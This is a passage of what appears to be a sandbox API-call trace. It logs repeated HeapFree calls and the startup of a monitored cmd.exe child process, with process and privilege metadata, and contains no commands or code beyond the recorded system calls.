HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0288.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0288.777] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.779] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.789] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.793] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.795] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0288.921] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0289.094] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0289.094] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0289.094] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0289.096] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0289.098] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.099] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.100] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.102] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.103] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.105] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.107] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.108] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.109] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.110] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.112] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.114] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.115] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.117] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.118] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.120] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.121] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.123] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.124] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.126] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.127] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.446] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f720d8 | out: hHeap=0x730000) returned 1 [0289.448] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.450] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.461] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.463] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.465] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.466] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.467] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.469] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.470] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.472] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.473] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.474] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.476] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.478] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.479] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.481] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.483] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.485] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.487] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.551] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.563] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.563] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.564] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0289.566] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0289.568] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.569] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.570] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.572] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.574] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.575] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.585] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.586] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.588] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.589] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.590] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.611] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.612] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.614] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.616] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.617] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.619] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.620] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.622] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.623] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.625] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.626] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.725] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.726] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.728] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.730] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.731] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.733] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.734] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.736] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.737] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.760] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.762] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.765] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.767] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.769] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.771] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.773] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.774] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.809] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.810] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.812] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.813] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.813] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0289.850] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.855] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.857] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.859] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.862] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.866] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.870] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.872] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.874] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.876] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.878] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.880] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.882] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.884] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.886] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.888] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.890] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.893] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.931] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.933] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.936] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.938] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.942] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.946] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.948] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.950] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.953] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.955] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.957] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.960] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.962] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.965] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0289.968] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.035] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.038] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.040] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.042] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.044] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.046] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.049] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.052] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.055] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.057] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.059] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.061] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0290.061] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0290.061] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0290.064] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 Thread: id = 3470 os_tid = 0x27b8 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x1325d000" os_pid = "0x2740" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0xc6c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3447 os_tid = 0x26f8 [0288.111] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff783ff0000 [0288.111] __set_app_type (_Type=0x1) [0288.111] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff784006d00) returned 0x0 [0288.111] __getmainargs (in: _Argc=0x7ff784029200, _Argv=0x7ff784029208, _Env=0x7ff784029210, _DoWildCard=0, _StartInfo=0x7ff78402921c | out: _Argc=0x7ff784029200, _Argv=0x7ff784029208, _Env=0x7ff784029210) returned 0 [0288.111] _onexit (_Func=0x7ff784007fd0) returned 0x7ff784007fd0 [0288.111] _onexit (_Func=0x7ff784007fe0) returned 0x7ff784007fe0 [0288.111] _onexit (_Func=0x7ff784007ff0) returned 0x7ff784007ff0 [0288.112] _onexit (_Func=0x7ff784008000) returned 0x7ff784008000 [0288.113] _onexit (_Func=0x7ff784008010) returned 0x7ff784008010 [0288.113] _onexit (_Func=0x7ff784008020) returned 0x7ff784008020 [0288.113] GetCurrentThreadId () returned 0x26f8 [0288.113] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x26f8) returned 0x70 [0288.113] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffa96710000 [0288.113] GetProcAddress (hModule=0x7ffa96710000, lpProcName="SetThreadUILanguage") returned 0x7ffa9672a990 [0288.114] SetThreadUILanguage (LangId=0x0) returned 0x409 [0288.568] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0288.568] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xf9aaeffbb8 | out: phkResult=0xf9aaeffbb8*=0x0) returned 0x2 [0288.568] VirtualQuery (in: lpAddress=0xf9aaeffba4, lpBuffer=0xf9aaeffb20, dwLength=0x30 | out: lpBuffer=0xf9aaeffb20*(BaseAddress=0xf9aaeff000, AllocationBase=0xf9aae00000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0288.568] VirtualQuery (in: lpAddress=0xf9aae00000, lpBuffer=0xf9aaeffb20, dwLength=0x30 | out: lpBuffer=0xf9aaeffb20*(BaseAddress=0xf9aae00000, AllocationBase=0xf9aae00000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0288.568] VirtualQuery (in: lpAddress=0xf9aae01000, lpBuffer=0xf9aaeffb20, dwLength=0x30 | out: lpBuffer=0xf9aaeffb20*(BaseAddress=0xf9aae01000, AllocationBase=0xf9aae00000, AllocationProtect=0x4, 